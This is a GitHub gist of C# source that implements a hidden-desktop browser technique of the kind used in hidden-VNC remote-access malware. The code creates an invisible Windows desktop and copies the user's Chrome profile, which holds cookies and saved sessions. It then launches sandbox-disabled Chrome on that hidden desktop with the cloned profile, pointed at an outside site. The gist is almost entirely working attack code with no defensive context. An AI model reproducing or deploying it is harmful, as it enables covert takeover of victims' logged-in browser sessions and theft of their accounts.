Instantly share code, notes, and snippets.
Created
May 12, 2021 04:50
-
Star
(0)
0
You must be signed in to star a gist -
Fork
(0)
0
You must be signed in to fork a gist
-
Save 0x25bit/9c8a22ad4a057fae77c32031415c64bf to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using Microsoft.VisualBasic; | |
using Microsoft.VisualBasic.Devices; | |
using System; | |
using System.Runtime.InteropServices; | |
using System.Text; | |
using System.Threading; | |
using System.Windows.Forms; | |
namespace WindowsFormsApp8 | |
{ | |
class Program | |
{ | |
private static string m_desktopName; | |
private const uint DESKTOP_CREATEWINDOW = 0x0002; | |
private const uint DESKTOP_ENUMERATE = 0x0040; | |
private const uint DESKTOP_WRITEOBJECTS = 0x0080; | |
private const uint DESKTOP_SWITCHDESKTOP = 0x0100; | |
private const uint DESKTOP_CREATEMENU = 0x0004; | |
private const uint DESKTOP_HOOKCONTROL = 0x0008; | |
private const uint DESKTOP_READOBJECTS = 0x0001; | |
private const uint DESKTOP_JOURNALRECORD = 0x0010; | |
private const uint DESKTOP_JOURNALPLAYBACK = 0x0020; | |
private const uint AccessRights = | |
DESKTOP_JOURNALRECORD | DESKTOP_JOURNALPLAYBACK | DESKTOP_CREATEWINDOW | DESKTOP_ENUMERATE | | |
DESKTOP_WRITEOBJECTS | DESKTOP_SWITCHDESKTOP | DESKTOP_CREATEMENU | DESKTOP_HOOKCONTROL | | |
DESKTOP_READOBJECTS; | |
/// <summary> | |
/// 应用程序的主入口点。 | |
/// </summary> | |
[STAThread] | |
static void Main() | |
{ | |
try | |
{ | |
IntPtr hOldDesktop = GetThreadDesktop(GetCurrentThreadId()); | |
m_desktopName = Guid.NewGuid().ToString("N"); | |
IntPtr hNewDesktop = CreateDesktop(m_desktopName, | |
IntPtr.Zero, IntPtr.Zero, 0, AccessRights, IntPtr.Zero); | |
Computer a = new Computer(); | |
a.FileSystem.CopyDirectory(Interaction.Environ("localappdata") + "\\Google\\Chrome\\User Data", Interaction.Environ("localappdata") + "\\Google\\Chrome\\" + m_desktopName, overwrite: true); | |
SetThreadDesktop(hNewDesktop); | |
CreateProcess(BuildCommandLine("cmd.exe", " /c start chrome.exe --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir=\"" + Interaction.Environ("localappdata") + "\\Google\\Chrome\\" + m_desktopName+ "\" \"https://test.qwqdanchun.com/\"")); | |
//SwitchDesktop(hNewDesktop); | |
Thread.Sleep(1000); | |
//SwitchDesktop(hOldDesktop); | |
} | |
catch (Exception ex) | |
{ | |
MessageBox.Show(ex.Message); | |
} | |
} | |
[StructLayout(LayoutKind.Sequential)] | |
public struct STARTUPINFO | |
{ | |
public int cb; | |
public string lpReserved; | |
public string lpDesktop; | |
public string lpTitle; | |
public int dwX; | |
public int dwY; | |
public int dwXSize; | |
public int dwYSize; | |
public int dwXCountChars; | |
public int dwYCountChars; | |
public int dwFillAttribute; | |
public int dwFlags; | |
public short wShowWindow; | |
public short cbReserved2; | |
public IntPtr lpReserved2; | |
public IntPtr hStdInput; | |
public IntPtr hStdOutput; | |
public IntPtr hStdError; | |
} | |
[StructLayout(LayoutKind.Sequential)] | |
public struct PROCESS_INFORMATION | |
{ | |
public IntPtr hProcess; | |
public IntPtr hThread; | |
public int dwProcessId; | |
public int dwThreadId; | |
} | |
[DllImport("user32.dll")] | |
private static extern bool SwitchDesktop(IntPtr hDesktop); | |
[DllImport("user32.dll", SetLastError = true)] | |
internal static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, | |
uint dwDesiredAccess, IntPtr lpsa); | |
[DllImport("user32.dll", SetLastError = true)] | |
internal static extern bool SetThreadDesktop(IntPtr hDesktop); | |
[DllImport("user32.dll")] | |
public static extern IntPtr GetThreadDesktop(int dwThreadId); | |
[DllImport("kernel32.dll")] | |
public static extern int GetCurrentThreadId(); | |
[DllImport("kernel32.dll")] | |
internal static extern bool CreateProcess( | |
string lpApplicationName, | |
string lpCommandLine, | |
IntPtr lpProcessAttributes, | |
IntPtr lpThreadAttributes, | |
bool bInheritHandles, | |
int dwCreationFlags, | |
IntPtr lpEnvironment, | |
string lpCurrentDirectory, | |
ref STARTUPINFO lpStartupInfo, | |
ref PROCESS_INFORMATION lpProcessInformation | |
); | |
private const int NORMAL_PRIORITY_CLASS = 0x00000020; | |
private static StringBuilder BuildCommandLine(string executableFileName, string arguments) | |
{ | |
StringBuilder commandLine = new StringBuilder(); | |
string fileName = executableFileName.Trim(); | |
bool fileNameIsQuoted = (fileName.StartsWith("\"", StringComparison.Ordinal) && | |
fileName.EndsWith("\"", StringComparison.Ordinal)); | |
if (!fileNameIsQuoted) | |
{ | |
commandLine.Append("\""); | |
} | |
commandLine.Append(fileName); | |
if (!fileNameIsQuoted) | |
{ | |
commandLine.Append("\""); | |
} | |
if (!String.IsNullOrEmpty(arguments)) | |
{ | |
commandLine.Append(" "); | |
commandLine.Append(arguments); | |
} | |
return commandLine; | |
} | |
public static bool CreateProcess(StringBuilder path) | |
{ | |
var si = new STARTUPINFO(); | |
si.cb = Marshal.SizeOf(si); | |
si.lpDesktop = m_desktopName; | |
var pi = new PROCESS_INFORMATION(); | |
var result = CreateProcess(null, path.ToString(), IntPtr.Zero, IntPtr.Zero, true, | |
NORMAL_PRIORITY_CLASS, | |
IntPtr.Zero, null, ref si, ref pi); | |
return result; | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment